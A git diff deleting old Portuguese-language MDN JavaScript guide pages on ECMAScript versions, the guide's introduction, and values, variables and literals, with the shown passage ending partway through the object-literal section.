-<table class="standard-table"> <caption>Tabela 1.2 Versões do JavaScript e edições do ECMAScript</caption> <thead> <tr> <th scope="row">Versão do JavaScript</th> <th scope="col">Relação com a edição do ECMAScript</th> </tr> </thead> <tbody> <tr> <td>JavaScript 1.1</td> <td>O ECMA-262, Edição 1 é baseado no JavaScript 1.1.</td> </tr> <tr> <td>JavaScript 1.2</td> <td>O ECMA-262 não estava completo quando o JavaScript 1.2 foi lançado. O JavaScript 1.2 não é totalmente compatível com o ECMA-262, Edição 1, pelas seguintes razões: <ul> <li>O Netscape desenvolveu características adicionais no JavaScript 1.2 que não foram consideradas no ECMA-262.</li> <li>O ECMA-262 adiciona duas novas características: internacionalização usando Unicode e comportamento uniforme em todas as plataformas. Muitas características do JavaScript 1.2, tais com o objeto <code>Date</code>, eram dependentes de plataforma e usavam um comportamento específico da plataforma.</li> </ul> </td> </tr> <tr> <td> <p>JavaScript 1.3</p> </td> <td> <p>O JavaScript 1.3 é totalmente compatível com o ECMA-262, Edição 1.</p> <p>O JavaScript 1.3 corrigiu as inconsistências que o JavaScript 1.2 tinha com o ECMA-262, mantendo todas as características adicionais do JavaScript 1.2 com a exceção de  == e !=, os quais foram mudados conforme o ECMA-262.</p> </td> </tr> <tr> <td> <p>JavaScript 1.4</p> </td> <td> <p>O JavaScript 1.4 é totalmente comatível com o ECMA-262, Edição 1.</p> <p>A terceira versão da especificação ECMAScript não estava finalizada quando o JavaScript 1.4 foi lançado.</p> </td> </tr> <tr> <td>JavaScript 1.5</td> <td>O JavaScript 1.5 é totalmente compatível com o ECMA-262, Edição 3.</td> </tr> </tbody>
-</table>
-<div class="note"><strong>Nota</strong>: O ECMA-262, Edição 2 consistiu de mudanças editoriais pequenas e correções de bugs da especificação da Edição 1. O grupo de trabalho TC39 da Ecma International está atualmente trabalhando no ECMAScript Edição 4, o qual corresponderá a um lançamento futuro do JavaScript, o JavaScript 2.0.</div>
-<p>A <a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">Referência de JavaScript</a> (en) indica quais características da linguagem estão em conformidade com o ECMAScript.</p>
-<p>O JavaScript sempre permite incluir características que não fazem parte da Especificação do ECMAScript; O JavaScript é compatível com o ECMASCript; mesmo provendo características adicionais.</p><h4 id="JavaScript_Documentation_versus_the_ECMAScript_Specification" name="JavaScript_Documentation_versus_the_ECMAScript_Specification">Documentação do JavaScript versus a especificação do ECMAScript</h4>
-<p>A especificação do ECMAScript é um conjunto de requisitos para a implementação do ECMAScript; ela é útil caso deseje-se determinar, se uma característica do JavaScript é suportada em outras implementações do ECMAScript. Caso planeje-se escrever código JavaScript usando somente características suportadas pelo ECMAScript, então é interessante checar a especificação ECMAScript.</p>
-<p>O documento ECMAScript não pretende ajudar programadores de scripts; para informações sobre escrita de scripts, deve-se usar a documentação do JavaScript.</p><h4 id="JavaScript_and_ECMAScript_Terminology" name="JavaScript_and_ECMAScript_Terminology">Terminologia do JavaScript e do ECMAScript</h4>
-<p>A especificação do ECMAScript utiliza a terminologia e sintaxe que pode ser desconhecida para um programador JavaScript. Embora a descrição da linguagem possa diferir, a linguagem em si, é a mesma. O JavaScript suporta todas as funcionalidades descritas na especificação ECMAScript.</p>
-<p>A documentação do JavaScript descreve aspectos da linguagem que são apropriados para um programador JavaScript. Por exemplo:</p>
-<ul> <li>O Objeto Global não é discutido na documentação do JavaScript porque ele não é usado diretamente. Os métodos e propriedades do Objeto Global, os quais são usados, são discutidos na documentação do JavaScript, mas são chamados de funções e propriedades de nível superior.</li> <li>O construtor sem parâmetros (zero argumentos) com os objetos <code>Number</code> e <code>String</code> não é discutido na documentação do JavaScript, pois o gerado é pouco usado. Um construtor de <code>Number</code> sem nenhum argumento, retorna +0, e um construtor de <code>String</code> sem argumentos, retorna "" (uma string vazia).</li>
-</ul>
-<pre class="script" style="font-size: 16px;">autoPreviousNext("JSGChapters");
-wiki.languages({
-  "en": "en/JavaScript/Guide/JavaScript_Overview",
-  "es": "es/Gu\u00eda_JavaScript_1.5/Concepto_de_JavaScript",
-  "fr": "fr/Guide_JavaScript_1.5/Aper\u00e7u_de_JavaScript",
-  "ja": "ja/Core_JavaScript_1.5_Guide/JavaScript_Overview",
-  "ko": "ko/Core_JavaScript_1.5_Guide/JavaScript_Overview",
-  "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Przegl\u0105d_JavaScriptu",
-  "zh-cn": "cn/Core_JavaScript_1.5_Guide/JavaScript\u603b\u89c8",
-  "zh-tw": "zh_tw/Core_JavaScript_1.5_教學/JavaScript_概要"
-});</pre>
diff --git a/files/pt-pt/orphaned/web/javascript/guia/sobre/index.html b/files/pt-pt/orphaned/web/javascript/guia/sobre/index.html
deleted file mode 100644
index 1cc6f27559..0000000000
--- a/files/pt-pt/orphaned/web/javascript/guia/sobre/index.html
+++ /dev/null
@@ -1,167 +0,0 @@
----
-title: Sobre este guia
-slug: orphaned/Web/JavaScript/Guia/Sobre
-original_slug: Web/JavaScript/Guia/Sobre
----
-<p>JavaScript é uma linguagem de scripts multiplataforma, baseada em objetos. Este guia explica tudo que é necessário saber sobre como utilizar o JavaScript.</p>
-
-<h2 id="Novas_caraterísticas_em_versões_do_JavaScript">Novas caraterísticas em versões do JavaScript</h2>
-
-<pre class="script" style="font-size: 16px;">/* Nota: Para adicionar um link na descrição de uma nova versão do JavaScript,
-adicione o número da variável versionList abaixo. A página ligada deve
-residir em /en/JavaScript/New_in_JavaScript/N, onde N é o número da versão. */
-
-var versionList = ["1.5", "1.6", "1.7", "1.8", "1.8.1", "1.8.5"];
-var s = "";
-&lt;ul&gt;
- foreach (var i in versionList){
- let s = "/en/JavaScript/New_in_JavaScript/" .. i;
-  &lt;li&gt;web.link(s, wiki.getPage(s).title)&lt;/li&gt;;
- }
-&lt;/ul&gt;;</pre>
-
-<h2 id="O_que_já_é_necessário_saber">O que já é necessário saber</h2>
-
-<p>Este guia assume que já possui os seguintes conhecimentos como base:</p>
-
-<ul>
- <li>Um entendimento geral da Internet e da World Wide Web (WWW).</li>
- <li>Bom conhecimento de trabalho com HyperText Markup Language (<a href="/en/HTML" title="en/HTML">HTML</a>).</li>
-</ul>
-
-<p>Alguma experiência de programação com uma linguagem como C ou Visual Basic é útil, mas não necessária.</p>
-
-<h2 id="Versões_do_JavaScript">Versões do JavaScript</h2>
-
-<table class="standard-table">
- <caption>Tabela 1 Versões do JavaScript e do Navigator</caption>
- <thead>
- <tr>
- <th scope="col">versão JavaScript</th>
- <th scope="col">versão Navigator</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>JavaScript 1.0</td>
- <td>Navigator 2.0</td>
- </tr>
- <tr>
- <td>JavaScript 1.1</td>
- <td>Navigator 3.0</td>
- </tr>
- <tr>
- <td>JavaScript 1.2</td>
- <td>Navigator 4.0-4.05</td>
- </tr>
- <tr>
- <td>JavaScript 1.3</td>
- <td>Navigator 4.06-4.7x</td>
- </tr>
- <tr>
- <td>JavaScript 1.4</td>
- <td> </td>
- </tr>
- <tr>
- <td>JavaScript 1.5</td>
- <td>Navigator 6.0<br>
- Mozilla (navegador open source)</td>
- </tr>
- <tr>
- <td>JavaScript 1.6</td>
- <td><a href="/en/Firefox_1.5_for_developers" title="en/Firefox_1.5_for_developers">Firefox 1.5</a>, outros produtos baseados no Mozilla 1.8</td>
- </tr>
- <tr>
- <td>JavaScript 1.7</td>
- <td><a href="/en/Firefox_2_for_developers" title="en/Firefox_2_for_developers">Firefox 2</a>, outros produtos baseados no Mozilla 1.8.1</td>
- </tr>
- <tr>
- <td>JavaScript 1.8</td>
- <td><a href="/en/Firefox_3_for_developers" title="en/Firefox_3_for_developers">Firefox 3</a>, outros produtos baseados no Gecko 1.9</td>
- </tr>
- </tbody>
-</table>
-
-<p>Cada versão do Netscape Enterprise Server também suporta diferentes versões do JavaScript. Para ajudar na escrita de scripts compatíveis com múltiplas versões do Enterprise Server, este manual usa uma abreviação para indicar a versão do servidor na qual cada característica foi implementada.</p>
-
-<table class="standard-table">
- <caption>Tabela 2 Abreviações das versões do Netscape Enterprise Server</caption>
- <thead>
- <tr>
- <th scope="col">Abreviação</th>
- <th scope="col">versão Enterprise Server</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>NES 2.0</td>
- <td>Netscape Enterprise Server 2.0</td>
- </tr>
- <tr>
- <td>NES 3.0</td>
- <td>Netscape Enterprise Server 3.0</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Onde_encontrar_informações_sobre_JavaScript">Onde encontrar informações sobre JavaScript</h2>
-
-<p>A documentação do JavaScript inclui os seguintes livros:</p>
-
-<ul>
- <li><a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide">Guia de JavaScript</a> (este guia) fornece informações sobre a linguagem JavaScript e seus objetos.</li>
- <li><a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">Referência JavaScript</a> fornece material de referência para a linguagem JavaScript.</li>
-</ul>
-
-<p>Se você é novo no JavaScript, comece com o <a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide">Guia de JavaScript</a>. Uma vez que você tenha uma boa compreensão dos fundamentos, você pode usar a <a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">Referência JavaScript</a> para obter mais detalhes sobre objetos e declarações.</p>
-
-<h2 id="Dicas_para_aprender_JavaScript">Dicas para aprender JavaScript</h2>
-
-<p>Começar com o JavaScript é fácil: é necessário apenas um navegador web moderno. Este guia inclui algumas características do JavaScript que estão atualmente disponíveis nas últimas versões do Firefox (e outros navegadores baseados no Gecko), é recomendado, portanto, o uso da versão mais recente do Firefox.</p>
-
-<h3 id="Um_interpretador_interativo">Um interpretador interativo</h3>
-
-<p>Uma linha de comando interativa com JavaScript é inestimável para o aprendizado da linguagem, pois permite experimentar código de forma interativa sem ter que salvar um arquivo e recarregar a página. O Console de erros do Firefox, acessível através do menu de Ferramentas, fornece uma maneira simples de testar JavaScript interativamente: Basta entrar uma linha de código e clicar no botão "Executar".</p>
-
-<p><img alt="Image:ErrorConsole.png" class="internal" src="/@api/deki/files/192/=ErrorConsole.png"></p>
-
-<h3 id="Firebug">Firebug</h3>
-
-<p>Uma linha de comando interativa mais avançada está disponível com o uso do<a class="external" href="http://www.getfirebug.com/"> Firebug</a>, uma extensão de terceiros para o Firefox. O Firebug também fornece um inspetor DOM avançado, um depurador de JavaScript, uma ferramenta de análise e vários outros utilitários.</p>
-
-<p><img alt="Image:Firebug.png" class="internal" src="/@api/deki/files/204/=Firebug.png"></p>
-
-<p>Um dos mais úteis benefícios proporcionados pelo Firebug é <code>console.log()</code>, uma função que imprime seus argumentos no console do Firebug. Diferentemente de outras linguagens de programação, o JavaScript não possui um conceito de impressão para a saída padrão. O <code>console.log()</code> fornece uma alternativa útil, tornando mais fácil ver o que seu programa está fazendo.</p>
-
-<p>Muitos dos exemplos neste guia usam <code>alert()</code> para exibir mensagens conforme são executados. Tendo o Firebug instalado, pode ser usando <code>console.log()</code> ao invés de <code>alert()</code> ao rodar estes exemplos.</p>
-
-<h2 id="Convenções_de_documento">Convenções de documento</h2>
-
-<p>Aplicações JavaScript rodam em muitos sistemas operacionais; a informação neste livro aplica-se a todas as versões. Os caminhos de arquivos e diretórios são dados no formato Windows (com contrabarras separando os nomes dos diretórios). Para versões Unix, os caminhos são os mesmo, exceto por serem usadas barras ao invés de contrabarras para separar os diretórios.</p>
-
-<p>Este guia usa localizador padrão de recursos (<em>uniform resource locators</em> (URL)) da seguinte forma:</p>
-
-<p><code>http://<em>server</em>.<em>domain</em>/<em>path</em>/<em>file</em>.html</code></p>
-
-<p>Nestas URL, <em>server</em> representa o nome do servidor no qual a aplicação é rodada, tal como <code>research1</code> ou <code>www</code>; <em>domain</em> representa seu domínio de internet, como <code>netscape.com</code> ou <code>uiuc.edu</code>; <em>path</em> representa a estrutura do diretório no servidor; e <em>file</em><code>.html</code> representa o nome de um arquivo individual. No geral, itens em itálico em são <em>placeholders</em> e itens em fonte monoespaçada normal são literais. Se o servidor possuir <em>Secure Sockets Layer</em> (SSL) habilitado, pode ser usado <code>https</code> ao invés de <code>http</code> na URL.</p>
-
-<p>Este guia utiliza as seguintes convenções de fontes:</p>
-
-<ul>
- <li><code>A fonte mono espaçada</code> é utilziada para amostras de código e listagens de código, API e elementos da linguagem (como nomes de métodos e propriedades), nome de arquivos, caminhos, diretórios, tags HTML, e qualquer texto que possa ser digitado na tela. (<code><em>A fonte monoespaçada itálica</em></code> é usada para <em>placeholders </em>embutidos no código.)</li>
- <li><em>O tipo itálico</em> é usado para títulos de livros, ênfase, variáveis e <em>placeholders</em>, e palavras usadas em sentido literal.</li>
- <li><strong>O tipo negrito</strong> é usado para termos de glossário.</li>
-</ul>
-
-<pre class="script" style="font-size: 16px;">autoPreviousNext("JSGChapters");
-wiki.languages({
-  "en": "en/JavaScript/Guide/About",
-  "es": "es/Gu\u00eda_JavaScript_1.5/Acerca_de_esta_gu\u00eda",
-  "fr": "fr/Guide_JavaScript_1.5/\u00c0_propos",
-  "ja": "ja/Core_JavaScript_1.5_Guide/About",
-  "ko": "ko/Core_JavaScript_1.5_Guide/About",
-  "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/O_tym_przewodniku",
-  "zh-cn": "cn/Core_JavaScript_1.5_Guide/\u5173\u4e8e",
-  "zh-tw": "zh_tw/Core_JavaScript_1.5_教學/關於"
-})
-</pre>
diff --git a/files/pt-pt/orphaned/web/javascript/guia/valores,_variáveis_e_literais/index.html b/files/pt-pt/orphaned/web/javascript/guia/valores,_variáveis_e_literais/index.html
deleted file mode 100644
index 2a80e7d982..0000000000
--- a/files/pt-pt/orphaned/web/javascript/guia/valores,_variáveis_e_literais/index.html
+++ /dev/null
@@ -1,548 +0,0 @@
----
-title: Valores, Variáveis e Literais
-slug: orphaned/Web/JavaScript/Guia/Valores,_Variáveis_e_Literais
-original_slug: Web/JavaScript/Guia/Valores,_Variáveis_e_Literais
----
-<p>Este capítulo discute valores reconhecidos pelo JavaScript e descreve a construção de blocos fundamentais de expressões em JavaScript: variáveis, constantes e literais.</p>
-
-<h2 id="Valores">Valores</h2>
-
-<p>O JavaScript reconhece os seguintes tipos de valores:</p>
-
-<ul>
- <li><a href="/en/JavaScript/Reference/Global_Objects/Number" title="en/JavaScript/Reference/Global Objects/Number">Números</a> (en), como 42 ou 3,14159</li>
- <li>Valores <a href="/en/JavaScript/Reference/Global_Objects/Boolean" title="en/JavaScript/Reference/Global Objects/Boolean">lógicos (Booleanos)</a> (en), <code>true</code> ou <code>false</code></li>
- <li><a href="/en/JavaScript/Reference/Global_Objects/String" title="en/JavaScript/Reference/Global Objects/String">Strings</a> (en), tais como "Howdy!"</li>
- <li><code>null</code>, um palavra chave especial denotando um valor nulo; <code>null</code> também é um valor primitivo. Como JavaScript é sensível a maiúsculas, <code>null</code> não é a mesma coisa que <code>Null</code>, <code>NULL</code>, ou qualquer outra variante</li>
- <li><code><a href="/en/JavaScript/Reference/Global_Objects/undefined" title="en/JavaScript/Reference/Global Objects/undefined">undefined</a></code> (en), uma propriedade de alto nível a qual possui o valor indefinido; <code>undefined</code> também é um valor primitivo.</li>
-</ul>
-
-<p>Este conjunto de tipos de valores relativamente pequeno, permite realizar funções úteis com suas aplicações. Não há distinção explícita entre números inteiros e reais. Nem existe um tipo de dados de datas explícito em JavaScript. Entretanto, é possível utilizar o objeto <code><a href="/en/JavaScript/Reference/Global_Objects/Date" title="en/JavaScript/Reference/Global Objects/Date">Date</a></code> (en) e seus métodos para lidar com datas.</p>
-
-<p><a href="/en/JavaScript/Reference/Global_Objects/Object" title="en/JavaScript/Reference/Global Objects/Object">Objetos</a> (en) e <a href="/en/JavaScript/Reference/Global_Objects/Function" title="en/JavaScript/Reference/Global Objects/Function">funções</a> (en) são os outros elementos fundamentias da linguagem. Pode-se pensar em objetos como nomes nos quais podem ser guardados valores, e funções como procedimentos que sua aplicação pode executar.</p>
-
-<h3 id="Conversão_de_tipos_de_dados">Conversão de tipos de dados</h3>
-
-<p>O JavaScript é uma linguagem de tipagem dinâmica. Isto significa que não é necessário especificar o tipo de dado de uma variável quando ela for declarada, e tipos de dados são automaticamento convertidos conforme necessário durante a execução do script. Então, por exemplo, pode-se definir uma variável como:</p>
-
-<pre>var resposta = 42;
-</pre>
-
-<p>E depois, pode-se atribuir para a mesma variável um valor de string, por exemplo:</p>
-
-<pre class="deki-transform">resposta = "Obrigado pelos peixes...";
-</pre>
-
-<p>Como o JavaScript possui tipagem dinâmica, esta atribuição não gera uma mensagem de erro.</p>
-
-<p>Em expressões envolvendo valores numéricos e strings com o operador +, o JavaScript converte valores numérios para string. Por exemplo, considere as seguintes declarações:</p>
-
-<pre class="eval deki-transform">x = "A resposta é " + 42 // retorna "A resposta é 42"
-y = 42 + " é a resposta" // retorna "42 é a resposta"
-</pre>
-
-<p>Em declarações envolvendo outros operadores, o JavaScript não converte valores numérico para strings. Por exemplo:</p>
-
-<pre class="eval deki-transform">"37" - 7 // retorna 30
-"37" + 7 // retorna "377"</pre>
-
-<h2 id="Variáveis">Variáveis</h2>
-
-<p>Variáveis são usadas como nomes simbólicos para valores em sua aplicação. Os nomes das variáveis, chamadas <em>identificadores</em>, de acordo com certas regras.</p>
-
-<p>Um identificador JavaScript deve começar com uma letra, sublinhado (_), ou cifrão ($); caracteres subsequentes podem também ser dígitos (0-9). Como o JavaScript é sensível a maiúsculas, as letras incluem os caracteres de "A" até "Z" (maiúsculas) e os caracteres de "a" até "z" (minúsculas).</p>
-
-<p>A partir do JavaScript 1.5 é possível usar letras em ISO 8859-1 ou Unicode tais como å e ü nos identificadores. Também é possível usar as <a href="#Sequências de escape em Unicode">Sequências de escape em Unicode</a> \uXXXX como caracteres nos identificadores.</p>
-
-<p>Alguns exemplos de nomes possíveis são: <code>Number_hits</code>, <code>temp99</code> e <code>_name</code>.</p>
-
-<h3 id="Declaração_de_variáveis">Declaração de variáveis</h3>
-
-<p>Você pode declarar uma variável de duas maneiras:</p>
-
-<ul>
- <li>Com a palavra chave <a href="/en/JavaScript/Reference/Statements/var" title="en/JavaScript/Reference/Statements/var">var</a>. Por exemplo, <code>var x = 42</code>. Esta sintaxe pode ser usada para declarar tanto variáveis <a href="#Variable_Scope">locais quanto globais</a> (en).</li>
- <li>Simplesmente atribuindo um valor a ela. Por exemplo, <code>x = 42</code>. Isto sempre declara uma <a href="#Global_Variables">variável global</a> (en) e gera um aviso estrito do JavaScript. Esta variante não deve ser usada.</li>
-</ul>
-
-<h3 id="Avaliação_de_variáveis">Avaliação de variáveis</h3>
-
-<p>Uma variável declarada usando-se a declaração <code>var</code> sem possuir um valor inicial especificado possui o valor <code><a href="/en/JavaScript/Reference/Global_Objects/undefined" title="en/JavaScript/Reference/Global Objects/undefined">undefined</a></code>.</p>
-
-<p>Uma tentativa de acesso a uma variável não declarada resultará no lançamento de uma exceção <code>ReferenceError</code>:</p>
-
-<pre class="eval deki-transform">var a;
-print("O valor de a é " + a); // imprime "O valor de a é undefined"
-print("O valor de b é " + b); // lança a exceção ReferenceError
-</pre>
-
-<p>Você pode usar <code>undefined</code> para determinar quando uma variável possui um valor. No código a seguir, a variável <code>input</code> não possui um valor atribuido e a declaração <code><a href="/en/JavaScript/Reference/Statements/if...else" title="en/Core_JavaScript_1.5_Reference/Statements/if...else">if</a></code> é avaliada como <code>true</code>.</p>
-
-<pre class="eval deki-transform">var input;
-if(input === undefined){
- doThis();
-} else {
- doThat();
-}
-</pre>
-
-<p><span class="comment">O valor</span> <code>undefined</code> comporta-se como <code>false</code> quando usado em um contexto booleano. Por exemplo, o código a seguir executa a função <code>myFunction</code> porque o elemento <code>myArray</code> não está definido:</p>
-
-<pre class="eval deki-transform">var myArray = new Array();
-if (!myArray[0]) myFunction();
-</pre>
-
-<p>Quando você avalia uma variável nula, o valor nulo comporta-se como um 0 no contexto numérico e como falso em contextos booleanos. Por exemplo</p>
-
-<pre class="eval deki-transform">var n = null;
-print(n * 32); // imprime 0
-</pre>
-
-<h3 id="Escopo_de_variáveis">Escopo de variáveis</h3>
-
-<p>Quando uma variável é declarada de fora de qualquer função, ele é chamada de variável <em>global</em>, pois ela está disponível para qualquer outro código no documento atual. Quando você declara uma variável dentro de uma função, ela é chamada de variável <em>local</em>, pois ela está disponível somente dentro dessa função.</p>
-
-<p>O JavaScript não possui um escopo de <a href="/en/JavaScript/Guide/Statements#Block_Statement" title="en/JavaScript/Guide/Statements#Block Statement">declaração de blocos</a> (en); ao contrário, será local para o código interno ao bloco. Por exemplo, o código a seguir imprimirá <code>0</code> ao invés de lançar a exceção <span><span class="comment">ReferenceError se</span></span> <code>condition</code> é <code>false</code>:</p>
-
-<pre class="eval deki-transform">if (condition) {
- var x = 5;
-}
-print(x ? x : 0);
-</pre>
-
-<p>Outra coisa não usual sobre variáveis em JavaScript é que é possível referir-se a uma variável declarada depois, sem receber uma exceção. Este conceito é conhecido como <em>hoisting</em>; as variáveis no JavaScript são levadas para o topo da função ou da declaração.  Entretanto, as variáveis não inicializadas retornarão um valor <code>undefined</code>.</p>
-
-<pre class="eval deki-transform">print(x === undefined); // prints "true"
-var x = 3;
-
-//will return a value of undefined
-var myvar = "my value";
-
-(function() {
- alert(myvar);//undefined
- var myvar = "local value"
-})();
-</pre>
-
-<h3 id="Variáveis_globais">Variáveis globais</h3>
-
-<p><span class="comment">necessário links para as páginas discutindo cadeias no âmbito do objeto global</span> Variáveis globais são, na verdade, propriedade de um <em>objeto global</em>. Em páginas web o objeto global é <code><a href="/en/DOM/window" title="en/DOM/window">window</a></code>, então você pode configurar e acessar variáveis globais usando a sintaxe<code> window.<em>variable</em></code>.</p>
-
-<p>Consequentemente, você pode acessar variáveis globais declaradas em uma janela ou quadro de alguma outra janela ou quadro, especificando o nome do mesmo. Por exemplo, se uma variável chamada <code>phoneNumber</code> é declarada em um documento <code>FRAMESET</code>, você pode referir-se a esta variável a partir de um frame herdeiro como <code>parent.phoneNumber</code>.</p>
-
-<h3 id="Veja_também">Veja também</h3>
-
-<p><a href="/en/Sharp_variables_in_JavaScript" title="en/Sharp_variables_in_JavaScript">Sharp variables in JavaScript</a> (en)</p>
-
-<h2 id="Constantes">Constantes</h2>
-
-<p>Você pode criar elementos "somente leitura", nomeados constantes com a palavra chave <code><a href="/en/JavaScript/Reference/Statements/const" title="en/Core_JavaScript_1.5_Reference/Statements/const">const</a></code>. A sintaxe de um identificador constante é a mesma para um identificador de variáveis: deve começar com uma letra ou sublinhado e pode conter caracteres alfabéticos, numéricos ou sublinhado.</p>
-
-<pre class="eval deki-transform">const prefix = '212';
-</pre>
-
-<p>Uma constante não pode ter seu valor mudado através de uma atribuição ou ser declarada novamente enquanto o script estiver rodando.</p>
-
-<p>As regras de escopo para constantes são as mesmas que as das variáveis, exceto que a palavra chave <code>const</code> é sempre necessária, mesmo para constantes globais. Se uma palavra chave é omitida, o identificador é assumido como uma variável.</p>
-
-<p>Você não pode declarar uma constante com o mesmo nome de uma função ou variável no mesmo escopo. Por exemplo:</p>
-
-<pre class="eval deki-transform">// ISTO CAUSARA UM ERRO
-function f() {};
-const f = 5;
-
-// ISTO TAMBEM CAUSARA UM ERRO
-function f() {
- const g = 5;
- var g;
-
- // declaracoes
-}
-</pre>
-
-<h2 id="Literais">Literais</h2>
-
-<p>Você usa literais para representar valores em JavaScript. Estes valores são fixos, não variáveis, que você fornece <em>literalmente</em> no seu script. Esta seção descreve os seguintes tipos de literais:</p>
-
-<ul>
- <li><a href="#Ordenação de literais">Ordenação de literais</a></li>
- <li><a href="#Booleanos literais">Booleanos literais</a></li>
- <li><a href="#Pontos flutuantes literais">Pontos flutuantes literais</a></li>
- <li><a href="#Inteiros">Inteiros</a></li>
- <li><a href="#Objetos literais">Objetos literais</a></li>
- <li><a href="#Strings literais">Strings literais</a></li>
-</ul>
-
-<h3 id="Ordenação_de_literais"><a id="Ordenação de literais" name="Ordenação de literais">Ordenação de literais</a></h3>
-
-<p>Um literal ordenado é uma lista de zero ou mais expressões, cada qual representando um elemento ordenado, armazenado em colchetes ([]). Quando você cria uma ordenação usando um literal ordenado, ele é inicializado com os valores especificados como seus elementos e seu comprimento configurado para o número de argumentos especificados.</p>
-
-<p>O exemplo a seguir cria uma ordenação <code>coffees</code> com três elementos e o comprimento de três:</p>
-
-<pre class="eval deki-transform">var coffees = ["French Roast", "Colombian", "Kona"];
-</pre>
-
-<p><strong>Nota</strong> Uma ordenação literal é um tipo de inicializador de objeto. Veja<a href="/en/JavaScript/Guide/Working_with_Objects#Using_Object_Initializers" title="en/JavaScript/Guide/Working with Objects#Using Object Initializers"> Using Object Initializers</a> (en).</p>
-
-<p>Se uma ordenação é criada usando um literal em um alto nível de script, o JavaScript interpreta a ordenação cada vez que uma expressão contendo a ordenação literal é avaliada. Adicionalmente, um literal usado em uma função é criado cada vez que a função é chamada.</p>
-
-<p>Ordenações literais são também objetos <code>Array</code>.  Veja <a href="/en/JavaScript/Guide/Predefined_Core_Objects#Array_Object" title="en/JavaScript/Guide/Predefined Core Objects#Array Object">Array Object</a> (en) para detalhes sobre objetos <code>Array</code>.</p>
-
-<h4 id="Vírgulas_extras_em_literais_ordenados">Vírgulas extras em literais ordenados</h4>
-
-<p>Não é necessário especificar todos os elementos de um literal ordenado. Se forem colocadas duas vírgulas em uma coluna, a ordenação é criada com espaços para elementos não especificados. O exemplo seguinte mostra a ordenação <code>fish</code>:</p>
-
-<pre class="eval deki-transform">var fish = ["Lion", , "Angel"];
-</pre>
-
-<p>Esta ordenação possui dois elementos com valores e um elemento vazio (<code>fish[0]</code> é "Lion", <code>fish[1]</code> é <code>undefined</code> e <code>fish[2]</code> é "Angel").</p>
-
-<p>Caso seja inserida uma última vírgula ao fim da lista de elementos, a vírgula é ignorada. No exemplo a seguir, o comprimento da ordenação é três. Não há <code>myList[3]</code>. Todas as outras vírgulas da lista indicam um novo elemento.</p>
-
-<pre class="eval deki-transform">var myList = ['home', , 'school', ];
-</pre>
-
-<p>No exemplo a seguir, o comprimento da ordenação é quatro, e <code>myList[0]</code> e <code>myList[2]</code> estão faltando.</p>
-
-<pre class="eval deki-transform">var myList = [ , 'home', , 'school'];
-</pre>
-
-<p>No exemplo seguinte, o comprimento da ordenação é quatro, e  <code>myList[1]</code> e <code>myList[3]</code> estão faltando. Somente a última vírgula é ignorada.</p>
-
-<pre class="eval deki-transform">var myList = ['home', , 'school', , ];
-</pre>
-
-<h3 id="Booleanos_literais"><a id="Booleanos literais" name="Booleanos literais">Booleanos literais</a></h3>
-
-<p>O tipo Booleano possui dois valores literais: <code>true</code> e <code>false</code>.</p>
-
-<p>Não confunda-os com os valores Booleanos primitivos <code>true</code> e <code>false</code> com os valores verdadeiro e falso do objeto Booleano. O objeto Booleano é um invólucro ao redor do tipo de dado Booleano. Veja <a href="/en/JavaScript/Guide/Predefined_Core_Objects#Boolean_Object" title="en/JavaScript/Guide/Predefined Core Objects#Boolean Object">Boolean Object</a> (en) para mais informações.</p>
-
-<h3 id="Inteiros_2"><a id="Inteiros" name="Inteiros">Inteiros</a></h3>
-
-<p>Inteiros podem ser expressos na base decimal (base 10), hexadecimal (base 16) e octal (base 8). Um inteiro decimal literal consiste em uma sequência de dígitos sem um 0 (zero) no início. Um 0 (zero) no início de um inteiro literal indica que se trata de um octal; um 0x (ou 0X) indica hexadecimal. Inteiros hexadecimais podem incluir dígitos (0-9) e as letras de a-f e A-F. Inteiros octais podem incluir somente dígitos 0-7.</p>
-
-<p>Inteiros octais literais são obsoletos e foram removidos do padrão ECMA-262, Edição 3. O JavaScript 1.5 ainda os suporta para compatibilidade com versões anteriores.</p>
-
-<p>Alguns exemplo de inteiros literais são:</p>
-
-<pre class="eval">0, 117 e -345 (decimal, base 10)
-015, 0001 e -077 (octal, base 8)
-0x1123, 0x00111 e -0xF1A7 (hexadecimal, "hex" ou base 16)
-</pre>
-
-<h3 id="Pontos_flutuantes_literais"><a id="Pontos flutuantes literais" name="Pontos flutuantes literais">Pontos flutuantes literais</a></h3>
-
-<p>Um literal de ponto flutuante pode possuir as seguintes partes:</p>
-
-<ul>
- <li>Um inteiro decimal, o qual pode ser assinado (precedido por  "+" ou "-"),</li>
- <li>Um ponto decimal ("."),</li>
- <li>Uma fração (outro número decimal),</li>
- <li>Um expoente.</li>
-</ul>
-
-<p>A parte do expoente é um "e" ou "E" seguido por um inteiro, o qual pode ser assinado (precedido por "+" ou "-"). Um literal de ponto flutuante deve ter ao menos um dígito e um ponto decimal ou "e" (ou "E").</p>
-
-<p>Alguns exemplos de pontos flutuantes literais são 3.1415, -3.1E12, .1e12, and 2E-12.</p>
-
-<p>Mais claramente, a sintaxe é:</p>
-
-<pre class="eval">[digitos][.digitos][(E|e)[(+|-)]digitos]
-</pre>
-
-<p>Por exemplo:</p>
-
-<pre class="eval">3.14
-2345.789
-.3333333333333333333
-</pre>
-
-<h3 id="Objetos_literais"><a id="Objetos literais" name="Objetos literais">Objetos literais</a></h3>
-
-<p>An object literal is a list of zero or more pairs of property names and associated values of an object, enclosed in curly braces ({}). You should not use an object literal at the beginning of a statement. This will lead to an error or not behave as you expect, because the { will be interpreted as the beginning of a block.</p>
-
-<p>The following is an example of an object literal. The first element of the <code>car</code> object defines a property, <code>myCar</code>; the second element, the <code>getCar</code> property, invokes a function <code>(CarTypes("Honda"));</code> the third element, the <code>special</code> property, uses an existing variable (<code>Sales</code>).</p>
-
-<pre class="eval deki-transform">var Sales = "Toyota";
-
-function CarTypes(name) {
- if (name == "Honda")
- return name;
- else
- return "Sorry, we don't sell " + name + ".";
-}
-
-var car = { myCar: "Saturn", getCar: CarTypes("Honda"), special: Sales };
-
-document.write(car.myCar); // Saturn
-document.write(car.getCar); // Honda
